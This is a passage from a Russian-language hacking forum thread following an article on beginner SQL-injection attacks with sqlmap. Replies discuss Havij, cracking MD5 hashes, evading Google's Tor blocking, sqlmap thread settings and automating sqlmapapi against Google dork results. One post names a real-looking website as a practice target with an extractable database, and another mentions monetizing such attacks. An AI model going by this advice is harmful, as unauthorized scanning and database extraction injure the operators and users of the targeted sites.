4. Сделать зеркало всех ссылок в URL
5. Протестировать ссылки в URL (Тест закладок)
6. Выход

И наслаждаемся процессом.


В заключении хочу сказать, что возможности сканера в комплекте с вышеупомянутым очень широки, и я был бы очень рад, если бы больше людей прониклись интересом к сабжу.


Александр Овчепятович Зеленодинов-Зеленодилов-Залдостанов, 23.11.1983 AD
Говорят, что состою в паблике Злой Медик (или как то так) и что-то там пишу.

 Вложения

[Статья] Знакомство с простейшей пенетрацией веб-ресурсов  

  By: OO111111 on 2015-08-17 04 ч.

Re: [Статья] Знакомство с простейшей пенетрацией веб-ресурсов

numitira, очень хорошая тема и :thanks: спасибо за скрипт


pgp-key here

 Вложения

[Статья] Знакомство с простейшей пенетрацией веб-ресурсов  

  By: devr on 2015-08-19 02 ч.

Re: [Статья] Знакомство с простейшей пенетрацией веб-ресурсов

Старая, но хорошая тема.
а для совсем нувбаев можно использовать тот же havij на windows, там еще проще - не нужно работать с терминалом.
Эту тему спокойно можно монетизировать, что многие и делают, еще одна хорошая тема для форума!)

[Статья] Знакомство с простейшей пенетрацией веб-ресурсов  

  By: Мамашка on 2015-08-25 08 ч.

Re: [Статья] Знакомство с простейшей пенетрацией веб-ресурсов

Пацаны, подскажите толковый декодер md5 хэшей.

[Статья] Знакомство с простейшей пенетрацией веб-ресурсов  

  By: numitira on 2015-08-25 09 ч.

Re: [Статья] Знакомство с простейшей пенетрацией веб-ресурсов

Мамашка, пацаны у тебя во дворе.
Тут посмотри - https://md5hashing.net/hash/md5/
Софтварно используй ophcrack.


Александр Овчепятович Зеленодинов-Зеленодилов-Залдостанов, 23.11.1983 AD
Говорят, что состою в паблике Злой Медик (или как то так) и что-то там пишу.

[Статья] Знакомство с простейшей пенетрацией веб-ресурсов  

  By: j0ri on 2015-08-27 12 ч.

Re: [Статья] Знакомство с простейшей пенетрацией веб-ресурсов

Обычно с тором идет и torsocks, незачем захламлять систему пакетами. К тому же гугл банит все торовские ноды, так что впн'ом обмазаться будет полезнее. Ну и по мелочи в синтаксисе у тебя ошибки) А так да, годная статья.

Редактировался j0ri (2015-08-27 12 ч.)

[Статья] Знакомство с простейшей пенетрацией веб-ресурсов  

  By: Flowyh on 2015-08-27 12 ч.

Re: [Статья] Знакомство с простейшей пенетрацией веб-ресурсов

j0ri пишет:

К тому же гугл банит все торовские ноды

У меня капчу просит и дальше работает. Лайфхак: Если неправильно ввел капчу в первый раз, то меняешь ноду, иначе будет ей доебывать бесконечно.
Иногда бывает "We're sorry... but your computer or network may be sending automated queries..", но достаточно ноду сменить.

UPD: Не заметил название темы и сразу ответил. Думал, речь о ручной работе с поисковиком/почтой. Автоматические запросы через Тор с терминала заблочит сразу, да.

Редактировался Flowyh (2015-08-27 13 ч.)

[Статья] Знакомство с простейшей пенетрацией веб-ресурсов  

  By: numitira on 2015-08-27 16 ч.

Re: [Статья] Знакомство с простейшей пенетрацией веб-ресурсов

j0ri пишет:

К тому же гугл банит все торовские ноды, так что впн'ом обмазаться будет полезнее.

Flowyh пишет:

Автоматические запросы через Тор с терминала заблочит сразу, да.

Ну да, потому я и написал в статье:

numitira пишет:

Не беда)
Запускаем проксичейн, настраиваем сканер на работу через ssh-туннель и дело в шляпе.

:)

j0ri пишет:

Ну и по мелочи в синтаксисе у тебя ошибки)

Это пройдет  :P


Александр Овчепятович Зеленодинов-Зеленодилов-Залдостанов, 23.11.1983 AD
Говорят, что состою в паблике Злой Медик (или как то так) и что-то там пишу.

[Статья] Знакомство с простейшей пенетрацией веб-ресурсов  

  By: j0ri on 2015-08-29 20 ч.

Re: [Статья] Знакомство с простейшей пенетрацией веб-ресурсов

numitira пишет:

Это пройдет  tongue

Угу :)

А ещё в settings.py надо MAX_NUMBER_OF_THREADS = 1000 ))

 Вложения

[Статья] Знакомство с простейшей пенетрацией веб-ресурсов  

  By: numitira on 2015-08-30 07 ч.

Re: [Статья] Знакомство с простейшей пенетрацией веб-ресурсов

j0ri пишет:

settings.py

Это питоновский сет.
У меня скрипт на перле - расширение .pl


Александр Овчепятович Зеленодинов-Зеленодилов-Залдостанов, 23.11.1983 AD
Говорят, что состою в паблике Злой Медик (или как то так) и что-то там пишу.

[Статья] Знакомство с простейшей пенетрацией веб-ресурсов  

  By: j0ri on 2015-08-30 22 ч.

Re: [Статья] Знакомство с простейшей пенетрацией веб-ресурсов

numitira пишет:
j0ri пишет:

settings.py

Это питоновский сет.
У меня скрипт на перле - расширение .pl

Это настройки sqlmap, там по дефолту максимум - 10 тредов. Какие мануалы не видел в жизни, но вот такие значимые мелочи никто почему-то не описывает.

[Статья] Знакомство с простейшей пенетрацией веб-ресурсов  

  By: numitira on 2015-08-31 14 ч.

Re: [Статья] Знакомство с простейшей пенетрацией веб-ресурсов

Ясно.
Меня смутило расширение.
В Sana скульмап не содержит суффикса питона при выборе команды.
А для установки нужного количества тредов я использую конфиг:

--threads=THREADS

Данная статья написана как простейшая, не к чему в ней детальное разьяснение всех функций сканера - этому место в другой статье, скажем под названием "Детальный разбор каждой функции сканера Sqlmap". Кстати, тема годная, думаю позже напишу.

PS С питоном не дружу.


Александр Овчепятович Зеленодинов-Зеленодилов-Залдостанов, 23.11.1983 AD
Говорят, что состою в паблике Злой Медик (или как то так) и что-то там пишу.

[Статья] Знакомство с простейшей пенетрацией веб-ресурсов  

  By: j0ri on 2015-09-01 06 ч.

Re: [Статья] Знакомство с простейшей пенетрацией веб-ресурсов

numitira пишет:

А для установки нужного количества тредов я использую конфиг:

Так там по дефолту 10, чтобы больше - править конфиги :)

numitira пишет:

Кстати, тема годная, думаю позже напишу.

Будем ждать :)

 Вложения

[Статья] Знакомство с простейшей пенетрацией веб-ресурсов  

  By: Postal on 2015-09-13 16 ч.

Re: [Статья] Знакомство с простейшей пенетрацией веб-ресурсов

Сори за офтоп.

Ну всё Нуми, понеслась

[Статья] Знакомство с простейшей пенетрацией веб-ресурсов  

  By: numitira on 2015-09-14 14 ч.

Re: [Статья] Знакомство с простейшей пенетрацией веб-ресурсов

Postal, а чего не так?
Копирайт и авторство мое указано, а инфы не жалко, благо для новичков писалось жи)


Александр Овчепятович Зеленодинов-Зеленодилов-Залдостанов, 23.11.1983 AD
Говорят, что состою в паблике Злой Медик (или как то так) и что-то там пишу.

[Статья] Знакомство с простейшей пенетрацией веб-ресурсов  

  By: SleepWalker on 2015-09-28 11 ч.

Re: [Статья] Знакомство с простейшей пенетрацией веб-ресурсов

Как тренировка можете этот сайт поломать. База извлекается и даже кое-какие данные есть - https://www.superbagi.ru

[Статья] Знакомство с простейшей пенетрацией веб-ресурсов  

  By: scio me nescire on 2015-09-29 15 ч.

Re: [Статья] Знакомство с простейшей пенетрацией веб-ресурсов

SleepWalker,  лол nikto чуть не помер с сего ресурса

[Статья] Знакомство с простейшей пенетрацией веб-ресурсов  

  By: SleepWalker on 2015-09-29 15 ч.

Re: [Статья] Знакомство с простейшей пенетрацией веб-ресурсов

scio me nescire пишет:

лол nikto чуть не помер с сего ресурса

ога

[Статья] Знакомство с простейшей пенетрацией веб-ресурсов  

  By: scio me nescire on 2015-10-05 17 ч.

Re: [Статья] Знакомство с простейшей пенетрацией веб-ресурсов

Шалом, народ а может кто пояснить за файлик sqlmapapi.py который качается с самой софтиной с гитхаба, ок я понял rest сервер с логами, а как всю енту Эболу заставить автоматически работать ? Типа new -m file ? Оно вообще для етого ?
Я короче подумал что с помощью какой нить либы типа ххтпс://pypi.python.org/pypi/xgoogle собрать высер гугла по его же доркам и заставить sqlmapapi самостоятельно обходить, оно вообще так работает ?
вот так побовал:

python sqlmapapi.py -c
[20:36:32] [INFO] Starting REST-JSON API client to 'https://127.0.0.1:8775'...
[20:36:32] [DEBUG] Calling https://127.0.0.1:8775
[20:36:32] [INFO] Type 'help' or '?' for list of available commands
api> new -m mtest
[20:37:36] [DEBUG] Calling https://127.0.0.1:8775/task/new
[20:37:36] [INFO] New task ID is 'd89ab38a3e93db2d'
[20:37:36] [DEBUG] Calling https://127.0.0.1:8775/scan/d89ab38a3e93db2d/start
[20:37:36] [INFO] Scanning started
api (d89ab38a3e93db2d)> 

сервер пишет:

api> new -m mtest
[20:37:36] [DEBUG] Calling https://127.0.0.1:8775/task/new
[20:37:36] [INFO] New task ID is 'd89ab38a3e93db2d'
[20:37:36] [DEBUG] Calling https://127.0.0.1:8775/scan/d89ab38a3e93db2d/start
[20:37:36] [INFO] Scanning started
api (d89ab38a3e93db2d)> 

если пройти до https://127.0.0.1:8775/scan/d89ab38a3e93db2d/log
там json лежит типа того, не втыкаю что с ним делать ? Может можно определить ответы которые заранее задаются ?
Tnx

Редактировался scio me nescire (2015-10-05 17 ч.)

[Статья] Знакомство с простейшей пенетрацией веб-ресурсов  

  By: numitira on 2015-10-06 10 ч.

Re: [Статья] Знакомство с простейшей пенетрацией веб-ресурсов

А скинь содержимое файлика под спойлер сюда.  :/


Александр Овчепятович Зеленодинов-Зеленодилов-Залдостанов, 23.11.1983 AD
Говорят, что состою в паблике Злой Медик (или как то так) и что-то там пишу.

 Вложения